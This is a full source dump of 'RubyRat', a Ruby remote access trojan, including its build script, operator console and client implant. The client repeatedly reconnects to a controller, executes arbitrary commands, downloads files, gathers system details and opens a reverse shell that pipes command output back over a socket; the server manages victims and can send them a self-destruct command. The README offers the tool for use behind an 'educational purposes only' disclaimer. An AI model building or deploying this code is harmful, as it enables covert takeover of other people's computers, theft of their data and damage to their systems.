├── Gemfile ├── Gemfile.lock ├── LICENSE ├── README.md ├── build_client.sh ├── lib ├── core.rb └── core │ ├── constants.rb │ ├── crypto.rb │ ├── helpers.rb │ └── tools.rb ├── rubyrat.rb └── rubyrat_client.rb /Gemfile: -------------------------------------------------------------------------------- 1 | gem 'aes' 2 | #gem 'rbnacl' 3 | gem 'nanolog' 4 | gem 'terminal-table' 5 | gem 'colorize' 6 | gem 'rb-readline' 7 | gem 'ocra' 8 | 9 | # Client gems 10 | gem 'launchy' 11 | 12 | source 'https://rubygems.org' 13 | -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | addressable (2.5.1) 5 | public_suffix (~> 2.0, >= 2.0.2) 6 | aes (0.5.0) 7 | colorize (0.8.1) 8 | launchy (2.4.3) 9 | addressable (~> 2.3) 10 | nanolog (0.1.1) 11 | ocra (1.3.9) 12 | public_suffix (2.0.5) 13 | rb-readline (0.5.4) 14 | terminal-table (1.7.1) 15 | unicode-display_width (~> 1.1.1) 16 | unicode-display_width (1.1.1) 17 | 18 | PLATFORMS 19 | ruby 20 | 21 | DEPENDENCIES 22 | aes 23 | colorize 24 | launchy 25 | nanolog 26 | ocra 27 | rb-readline 28 | terminal-table 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Carter Brainerd 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RubyRat 2 | A simple and portable RAT made in Ruby 3 | 4 | # Getting started 5 | 6 | ### Compiling the client 7 | In order to compile the client, you must use ruby 2.2.2 (`rvm install 2.2.2 && rvm use 2.2.2`) and run `build_client.sh`. 8 | 9 | ### `build_client.sh` usage 10 | `build_client.sh ` 11 | 12 | `` are the platforms you can compile for. 13 | 14 | `` is the final name of the outputted executable. 15 | 16 | 17 | ### Starting the interface 18 | To start the RubyRat interface, just type `./rubyrat`. If you want to run the interface in debug mode, run `./rubyrat DEBUG`. As soon as the interface starts, the server will start listening on port 4567 for connections 19 | 20 | 21 | # Features 22 | ### Current: 23 | - Cross-platform 24 | - Command execution 25 | - Remote file download 26 | - Persistent clients 27 | 28 | ### Coming 29 | - Reverse shell support (in progress) 30 | - AES encrypted communication 31 | - Module support 32 | - Persistence mechanisms 33 | - Port scanning a host on the client's network 34 | 35 | # Built with 36 | - [Atom](https://atom.io) 37 | - All gems in the [Gemfile](https://github.com/cbrnrd/RubyRat/blob/master/Gemfile) 38 | 39 | # Disclaimer 40 | This tool is supposed to be used for educational purposes only. I am not personally liable for whatever you use this program for. 41 | 42 | # Thank you 43 | Thank you for using RubyRat 👏. If you're feeling generous, donations are always appreciated: 44 | 45 | 46 | ``` 47 | 19XiyrvqyYNLehf89ckBjPQYCfW77F9rx7 (Ƀ, BTC) 48 | 0xf6f247e4a929890926F88144111f5E27d87bD07a (ETH) 49 | LQRUJUpSkmi5BfT6nyPVNKKoLWbnpZ64sL (Ł, LTC) 50 | https://www.paypal.me/0xCB (PayPal) 51 | ``` 52 | -------------------------------------------------------------------------------- /build_client.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ $1 == '--help' ]; then 3 | echo "Usage: build_client.sh " 4 | exit 0 5 | fi 6 | 7 | PLAT=$1 8 | EXENAME=$2 9 | 10 | # TODO env checking 11 | 12 | rb2exe rubyrat_client.rb --target=$PLAT -o $EXENAME --add=. 13 | -------------------------------------------------------------------------------- /lib/core.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # The file containing all of out necessary requires 3 | ## 4 | require 'core/crypto' 5 | require 'core/helpers' # Requires colorize and terminal-table 6 | require 'core/tools' 7 | 8 | require 'aes' 9 | #require 'rbnacl' 10 | require 'nanolog' 11 | require 'socket' 12 | require 'terminal-table' 13 | require 'colorize' 14 | require 'readline' 15 | -------------------------------------------------------------------------------- /lib/core/constants.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # 3 | # Various constants used throughout the project 4 | # 5 | ## 6 | 7 | # TODO 8 | -------------------------------------------------------------------------------- /lib/core/crypto.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # A few additional crypto-related functions 3 | ## 4 | 5 | # God I love ruby for this stuff 6 | class ::String 7 | def pad(len=128) 8 | self + "0" * (len - self.length % len) 9 | end 10 | end 11 | 12 | # @deprecated Use AES.encrypt/decrypt instead 13 | def deffiehellman(sock, bits=2048) 14 | p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF 15 | g = 2 16 | a = SecureRandom.random_bytes(256) 17 | xA = g ** p ** a 18 | 19 | sock.send(xA) 20 | b = sock.recv(256) 21 | 22 | s = b ** a ** p 23 | 24 | return Digest::SHA256.digest(s) 25 | 26 | end 27 | -------------------------------------------------------------------------------- /lib/core/helpers.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # Useful helper functions 3 | ## 4 | 5 | require 'colorize' 6 | require 'terminal-table' 7 | 8 | module RubyRat 9 | module Helpers 10 | def self.banner 11 | %Q{ 12 | __________ ___. __________ __ 13 | \\______ \\__ _\\_ |__ ___.__.\\______ \\_____ _/ |_ 14 | | _/ | \\ __ < | | | _/\\__ \\\\ __\\ 15 | | | \\ | / \\_\\ \\___ | | | \\ / __ \\| | 16 | |____|_ /____/|___ / ____| |____|_ /(____ /__| 17 | \\/ \\/\\/ \\/ \\/ 18 | https://github.com/cbrnrd/RubyRat 19 | }.red 20 | end 21 | 22 | def self.help 23 | table = Terminal::Table.new do |t| 24 | t << ['Command', 'Action'] 25 | t << :separator 26 | t.add_row ['General Actions', ''] 27 | t.add_row ['client ', 'Connect to a client'] 28 | t.add_row ['clients', 'List all connected clients'] 29 | t.add_row ['quit', 'Exit the program and lose all clients'] 30 | t.add_row ['history', 'Show command history'] 31 | t.add_row ['clear', 'Clear the screen'] 32 | #t.add_row ['build_client', 'Build an executable of the client (EXPERIMANTAL)'] 33 | t << :separator 34 | t.add_row ['Client Actions', ''] 35 | #t.add_row ['execute ', 'Execute the given command on the client'] 36 | t.add_row ['sysinfo', 'Gather information about the client'] 37 | t.add_row ['ls', 'Show all files in the current directory'] 38 | t.add_row ['getpid', 'Show the sessions current pid'] 39 | t.add_row ['wget ', 'Download a remote file on the client'] 40 | t.add_row ['ifconfig', 'View network interface information'] 41 | t.add_row ['pwd', 'Show the currend directory on the client'] 42 | t.add_row ['execute', 'Execute a single command on the client'] 43 | t.add_row ['shell', 'Open a reverse shell on the client'] 44 | #t.add_row ['scan ', 'Perform a port scan on a host on the client network'] 45 | end 46 | end 47 | 48 | def self.prompt(*args) 49 | print(*args) 50 | STDIN.gets 51 | end 52 | 53 | def self.listener(port=31337, ip=nil) 54 | # It is all in how we define our socket 55 | # Spawn a server or connect to one.... 56 | if ip.nil? 57 | server = TCPServer.new(port) 58 | server.listen(1) 59 | @socket = server.accept 60 | puts 'Accepted' 61 | else 62 | @socket = TCPSocket.open(ip, port) 63 | end 64 | # Actual Socket Handling 65 | while(true) 66 | if(IO.select([],[],[@socket, STDIN],0)) 67 | socket.close 68 | return 69 | end 70 | begin 71 | while( (data = @socket.recv_nonblock(100)) != "") 72 | STDOUT.write(data); 73 | end 74 | break 75 | rescue Errno::EAGAIN 76 | end 77 | begin 78 | while( (data = STDIN.read_nonblock(100)) != "") 79 | @socket.write(data); 80 | end 81 | break 82 | rescue Errno::EAGAIN 83 | rescue EOFError 84 | break 85 | end 86 | IO.select([@socket, STDIN], [@socket, STDIN], [@socket, STDIN]) 87 | end 88 | end 89 | 90 | end 91 | end 92 | -------------------------------------------------------------------------------- /lib/core/tools.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # 3 | # File containing all of the necessary functions for the client to work properly 4 | # 5 | ## 6 | require 'etc' 7 | require 'core' 8 | require 'net/http' 9 | require 'open3' 10 | 11 | module RubyRat 12 | module Tools 13 | # Performs a port scan on a single host 14 | def self.scan_single_host(addr) 15 | true # TODO 16 | end 17 | 18 | def self.getarch 19 | case RUBY_PLATFORM 20 | when /mswin|windows/i 21 | `wmic OS get OSArchitecture`.split("\n")[1] 22 | when /linux|arch/i 23 | `uname -m` 24 | when /sunos|solaris/i 25 | `uname -m` 26 | when /darwin/i 27 | `uname -m` 28 | else 29 | return '' 30 | end 31 | end 32 | 33 | def self.ls 34 | case RUBY_PLATFORM 35 | when /mswin|windows/i 36 | `dir` 37 | when /linux|arch/i 38 | `ls` 39 | when /sunos|solaris/i 40 | `ls` 41 | when /darwin/i 42 | `ls` 43 | else 44 | return '' 45 | end 46 | end 47 | 48 | def self.sysinfo 49 | results = {} 50 | results[:os] = RUBY_PLATFORM 51 | results[:user] = Etc.getlogin 52 | results[:arch] = self.getarch 53 | results[:name] = Socket.gethostname 54 | table = Terminal::Table.new do |t| 55 | t << ['Client information', ''] 56 | t << :separator 57 | t << ['OS', results[:os]] 58 | t << ['User', results[:user]] 59 | t << ['Architecture', results[:arch]] 60 | t << ['Computer name', results[:name]] 61 | end 62 | table.to_s 63 | end 64 | 65 | # This function isn't really needed but it's nice to keep things organizes 66 | def self.pwd 67 | Dir.pwd 68 | end 69 | 70 | # Same idea as above 71 | def self.pid 72 | #puts Process.pid 73 | Process.pid 74 | end 75 | 76 | def self.execute(cmd) 77 | `#{cmd}` 78 | end 79 | 80 | # Gets a file from a remote server 81 | def self.wget(addr) 82 | 83 | if addr.start_with? 'http' 84 | return "Error: URL cannot start with 'http(s)'" 85 | end 86 | 87 | parsed = addr.split('/') 88 | website = parsed[0] 89 | filepath = parsed[1..-1].join '/' 90 | filepath[0, 0] = '/' # Prepend a slash 91 | filename = parsed[-1] 92 | 93 | begin 94 | Net::HTTP.start(website) do |http| 95 | resp = http.get(filepath) 96 | @file = File.new(filename, 'w') 97 | @file.write(resp.body) 98 | @file.close 99 | end 100 | return 'Download successful' 101 | rescue Exception => e 102 | return "Download failed: #{e.message}" 103 | end 104 | end 105 | 106 | def self.ifconfig(plat) 107 | return `ifconfig` if plat != 'win' 108 | `ipconfig /all` 109 | end 110 | 111 | # brought to you in part by: https://github.com/Hood3dRob1n/RubyCat/blob/master/rubycat.rb 112 | def self.shell(ip, port, retries=5) 113 | while retries.to_i > 0 114 | begin 115 | socket = TCPSocket.new "#{ip}", "#{port}" 116 | break 117 | rescue 118 | # If we fail to connect, wait a few and try again 119 | sleep 10 120 | retries = retries.to_i - 1 121 | retry 122 | end 123 | end 124 | # Run commands with output sent to stdout and stderr 125 | begin 126 | socket.puts "Server Info:" 127 | # First we scrape some basic info.... 128 | if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i 129 | count=0 130 | while count.to_i < 3 131 | if count.to_i == 0 132 | command="echo Winblows" 133 | socket.print "BUILD: \n" 134 | elsif count.to_i == 1 135 | command="whoami" 136 | socket.print "ID: " 137 | elsif count.to_i == 2 138 | command="chdir" 139 | socket.print "PWD: " 140 | end 141 | count = count.to_i + 1 142 | # Open3 to exec 143 | Open3.popen2e("#{command}") do | stdin, stdothers | 144 | IO.copy_stream(stdothers, socket) 145 | end 146 | end 147 | else 148 | count=0 149 | while count.to_i < 3 150 | if count.to_i == 0 151 | command="uname -a" 152 | socket.print "BUILD: \n" 153 | elsif count.to_i == 1 154 | command="id" 155 | socket.print "ID: " 156 | elsif count.to_i == 2 157 | command="pwd" 158 | socket.print "PWD: " 159 | end 160 | count = count.to_i + 1 161 | # Oen3 to exec 162 | Open3.popen2e("#{command}") do | stdin, stdothers | 163 | IO.copy_stream(stdothers, socket) 164 | end 165 | end 166 | end 167 | # Now we drop to Pseudo shell :) 168 | while(true) 169 | socket.print "\n(RubyCat)> " 170 | command = socket.gets.chomp 171 | if command.downcase == 'exit' or command.downcase == 'quit' 172 | socket.puts "\nOK, closing connection....\n" 173 | socket.puts "\ngot r00t?\n\n" 174 | break # Exit when asked nicely :p 175 | end 176 | # Open3 to exec 177 | Open3.popen2e("#{command}") do | stdin, stdothers | 178 | IO.copy_stream(stdothers, socket) 179 | end 180 | end 181 | rescue 182 | # If we fail for some reason, try again 183 | retry 184 | end 185 | end 186 | 187 | end 188 | end 189 | -------------------------------------------------------------------------------- /rubyrat.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | rrbase = __FILE__ 3 | $:.unshift(File.expand_path(File.join(File.dirname(rrbase), 'lib'))) 4 | 5 | require 'core' 6 | 7 | debug_status = false 8 | debug_status = true if ARGV.include? ("DEBUG") 9 | 10 | def debug(msg='') 11 | puts "[#{"DEBUG".yellow}] #{msg}" 12 | end 13 | 14 | # Function to interact with client reverse shells 15 | def drop_into_shell(port) 16 | debug "RubyCat listener started on port #{port}.\n\tWait a little bit for the connection to be completely established." 17 | RubyRat::Helpers.listener(port) 18 | return 19 | end 20 | 21 | class Server 22 | attr_accessor :client_count 23 | attr_accessor :current_client 24 | attr_accessor :clients 25 | attr_accessor :key 26 | attr_accessor :iv 27 | 28 | def initialize(port) 29 | 30 | @client_count = 0 31 | @current_client = nil 32 | @clients = {} 33 | @s = TCPServer.new port 34 | @s.setsockopt(Socket::SOL_SOCKET, Socket::SO_REUSEADDR, true) 35 | @key = AES.key # Varies PER SERVER LAUNCH, so clients can (almost) NEVER come back 36 | @iv = AES.iv(:base_64) 37 | 38 | # Write the key to a file for the client to read when being built 39 | File.open('/tmp/rratkey.dat', 'w') do |f| 40 | f.puts self.key 41 | f.print self.iv 42 | end 43 | end 44 | 45 | def run 46 | while true 47 | conn = @s.accept 48 | puts "\nNew connection from #{conn.peeraddr[3]}".green 49 | client_id = client_count + 1 50 | client = ClientConnection.new(conn, conn.peeraddr[3], self.key, client_id) 51 | @clients[client_id] = client 52 | @client_count +=1 53 | end 54 | end 55 | 56 | # Send data to the client 57 | def send_client(msg, client) 58 | begin 59 | #enc = AES.encrypt(msg, self.key, {:iv => self.iv}) 60 | client.conn.write(msg.pad(64)) # Send minimal bytes over the wire, no command should be this long 61 | rescue Exception => e 62 | puts e.message.red 63 | puts e.backtrace.join("\n").red 64 | end 65 | end 66 | 67 | # Recieve data from the client 68 | def recv_client(client) 69 | #data = 70 | #return AES.decrypt(data, self.key, {:iv => self.iv}) 71 | begin 72 | len = client.conn.gets # Get the length of the results 73 | client.conn.read(len.to_i) 74 | rescue Errno::ECONNRESET 75 | puts 'Client seems offline'.red 76 | return 77 | end 78 | end 79 | 80 | def select_client(id) 81 | begin 82 | self.current_client = @clients[id] 83 | raise NoMethodError if self.current_client.nil? 84 | puts "#{'[*]'.blue} Client #{id} selected" 85 | rescue NoMethodError => e 86 | puts "#{'[*]'.red} Invalid id: #{id}" 87 | #puts e.backtrace.join "\n" 88 | 89 | end 90 | end 91 | 92 | def list_clients 93 | return '[*] '.blue + ' No clients :(' if @clients == {} 94 | 95 | table = Terminal::Table.new do |t| 96 | 97 | t << ['ID', 'Address'] 98 | t << :separator 99 | 100 | @clients.each_pair { |id, conn| t << [id, conn.addr] } 101 | end 102 | return table 103 | end 104 | 105 | def get_clients 106 | a = [] 107 | @clients.each_pair { |b, c| a << c} 108 | a 109 | end 110 | 111 | def goodbye 112 | ans = RubyRat::Helpers.prompt "Exit the server and selfdestruct all clients (Y/n)?".red 113 | if ans.downcase.include? 'y' 114 | get_clients.each { |c| send_client('selfdestruct', c) } 115 | exit 0 116 | end 117 | end 118 | 119 | def kill 120 | #p 'in kill' 121 | end 122 | # Print the help screen 123 | def help 124 | puts RubyRat::Helpers.help 125 | end 126 | 127 | def quit 128 | ans = Readline::readline "Exit server and lose all clients? (Y/n): ".red, false 129 | exit 0 if ans.downcase.include? 'y' 130 | return 131 | end 132 | 133 | # for use outside of the class 134 | def self.quit 135 | ans = Readline::readline "Exit server and lose all clients? (Y/n): ".red, false 136 | exit 0 if ans.downcase.include? 'y' 137 | return 138 | end 139 | end 140 | 141 | 142 | class ClientConnection 143 | attr_accessor :conn 144 | attr_accessor :addr 145 | attr_accessor :key 146 | attr_accessor :uid 147 | 148 | def initialize(conn, addr, key, uid=0) 149 | @conn = conn 150 | @addr = addr 151 | @key = key 152 | @uid = uid 153 | end 154 | end 155 | 156 | def run 157 | 158 | client_commands = [ 'getpid', 'ifconfig', 'scan', 'sysinfo', 'pwd', 'wget', 'execute', 'ls', 'shell'] 159 | general_commands = [ 'client', 'clients', 'help', 'history', 'clear', 'quit', 'exit'] 160 | 161 | port = 4567 162 | port = ARGV[0].to_i if !ARGV[0].nil? && ARGV[0] != 'DEBUG' 163 | client = nil 164 | data = nil 165 | server = Server.new(port) 166 | 167 | Thread.new() { server.run } 168 | puts "Server started on #{port}".green 169 | 170 | while true 171 | trap('INT') {Server.quit} 172 | 173 | Readline.completion_append_character = " " 174 | 175 | exec_cmd = nil 176 | if !server.current_client.nil? 177 | list = client_commands + general_commands 178 | comp = proc { |s| list.grep( /^#{Regexp.escape(s)}/ ) } 179 | Readline.completion_proc = comp 180 | input = Readline::readline "#{"rrat".red} (Client #{server.current_client.uid}) > ", true 181 | exec_cmd = input 182 | else 183 | comp = proc { |s| general_commands.grep( /^#{Regexp.escape(s)}/ ) } 184 | Readline.completion_proc = comp 185 | input = Readline::readline "#{"rrat".red} > " 186 | end 187 | Readline::HISTORY.push(input) 188 | input, action = input.split(' ') 189 | 190 | # Check if the user is using a client command when no client is selected 191 | if client_commands.include?(input) && server.current_client.nil? 192 | puts '[!] '.red + "Please select a client first (#{server.client_count} available)" 193 | next 194 | end 195 | 196 | case input 197 | when nil # Allow no input 198 | next 199 | when 'client' 200 | server.select_client(action.to_i) 201 | when 'clients' 202 | puts server.list_clients 203 | when 'goodbye' 204 | server.goodbye 205 | when 'help' 206 | server.help 207 | when 'history' 208 | Readline::HISTORY.each_with_index { |e, i| puts "#{i} #{e}" if !e.nil?} 209 | when 'clear' 210 | `clear` 211 | # Client commands 212 | when 'sysinfo' 213 | server.send_client('sysinfo', server.current_client) 214 | data = server.recv_client(server.current_client) 215 | when 'getpid' 216 | server.send_client('getpid', server.current_client) 217 | data = server.recv_client(server.current_client) 218 | when 'ifconfig' 219 | server.send_client('ifconfig', server.current_client) 220 | data = server.recv_client(server.current_client) 221 | when 'pwd' 222 | server.send_client('pwd', server.current_client) 223 | data = server.recv_client(server.current_client) 224 | when 'wget' 225 | server.send_client("wget #{action}", server.current_client) 226 | data = server.recv_client(server.current_client) 227 | when 'execute' 228 | server.send_client("execute #{action}", server.current_client) if !action.nil? 229 | data = server.recv_client(server.current_client) if !action.nil? 230 | puts '[*] '.red + 'Please use execute with a command' 231 | when 'ls' 232 | server.send_client('ls', server.current_client) 233 | data = server.recv_client(server.current_client) 234 | when 'shell' 235 | rev_port = rand(500..65535) 236 | server.send_client("shell #{rev_port}", server.current_client) 237 | drop_into_shell(rev_port) 238 | when 'quit' 239 | server.quit 240 | next # We should only get here if they choose 'no' 241 | when 'exit' 242 | server.quit 243 | next 244 | else 245 | puts '[*] '.red + "Unknown command: #{input}. Type 'help' for commands." 246 | end 247 | puts data if !data.nil? 248 | data = nil # Reset the data 249 | 250 | end 251 | end 252 | 253 | puts RubyRat::Helpers.banner 254 | run 255 | -------------------------------------------------------------------------------- /rubyrat_client.rb: -------------------------------------------------------------------------------- 1 | # Allows us to require our core libraries 2 | $:.unshift(File.expand_path(File.join(File.dirname(__FILE__), 'lib'))) 3 | 4 | require 'core' 5 | 6 | 7 | # Change these to your needs 8 | HOST = '0.0.0.0' 9 | PORT = 4567 10 | @platform = nil 11 | # Communications timeout 12 | TIMEOUT = 30 13 | 14 | case RUBY_PLATFORM 15 | when /mswin|windows/i 16 | @platform = 'win' 17 | when /linux|arch/i 18 | @platform = 'nix' 19 | when /sunos|solaris/i 20 | @platform = 'solaris' 21 | when /darwin/i 22 | @platform = 'osx' 23 | else 24 | puts 'This platform is not supported' if ARGV.include? 'DEBUG' 25 | end 26 | 27 | puts RUBY_PLATFORM if ARGV.include? 'DEBUG' 28 | # Main loop the client goes through 29 | def client_loop(conn) 30 | 31 | # Old failed crypto comms, will re-implement later 32 | #f = File.read('/tmp/rratkey.dat').split("\n") 33 | #@key = f[0] 34 | #puts "Key: #{@key}" 35 | #@iv = f[1] 36 | #puts "IV: #{@iv}" 37 | 38 | while true 39 | results = '' 40 | # Recieve and decrypt AES encrypted message 41 | #data = AES.decrypt(conn.read(64).gsub!("0", ''), @key) 42 | data = conn.read(64).gsub!('0', '') 43 | puts data 44 | cmd, action = data.split ' ' # Split data into command and action 45 | 46 | # Parse the command 47 | case cmd 48 | when 'kill' 49 | conn.close 50 | exit 0 51 | when 'quit' 52 | conn.shutdown(:WRDR) 53 | conn.close 54 | break 55 | when 'scan' 56 | results = RubyRat::Tools.scan_single_host(action) 57 | when 'sysinfo' 58 | results = RubyRat::Tools.sysinfo 59 | when 'pwd' 60 | results = RubyRat::Tools.pwd 61 | when 'wget' 62 | results = RubyRat::Tools.wget(action) 63 | when 'getpid' 64 | results = "Current process: #{RubyRat::Tools.pid}" 65 | when 'ifconfig' 66 | results = RubyRat::Tools.ifconfig(@platform) 67 | when 'execute' 68 | results = RubyRat::Tools.execute(data.gsub('execute ', '')) 69 | when 'ls' 70 | results = RubyRat::Tools.ls 71 | when 'shell' 72 | RubyRat::Tools.shell(HOST, action) 73 | end 74 | 75 | # TODO add more stuff 76 | #end 77 | results << "\n#{cmd} completed." 78 | puts results if ARGV.include? 'DEBUG' 79 | conn.puts results.length 80 | conn.write(results) 81 | end 82 | end 83 | 84 | def main 85 | status = 0 86 | 87 | while true 88 | sock = nil 89 | begin 90 | # Try to connect to the server 91 | sock = TCPSocket.new(HOST, PORT) 92 | rescue Errno::ECONNREFUSED, Errno::ECONNRESET => e 93 | puts "Sleeping for #{TIMEOUT}" if ARGV.include? 'DEBUG' 94 | sleep(TIMEOUT) 95 | end 96 | 97 | begin 98 | status = client_loop sock 99 | rescue Interrupt 100 | exit 101 | rescue Exception => e 102 | puts e.to_s.red 103 | puts e.message.red 104 | puts e.backtrace.join("\n").red if ARGV.include?('DEBUG') # Make things easier to debug 105 | next 106 | end 107 | 108 | if status 109 | exit 0 110 | end 111 | 112 | end 113 | end 114 | 115 | main 116 | --------------------------------------------------------------------------------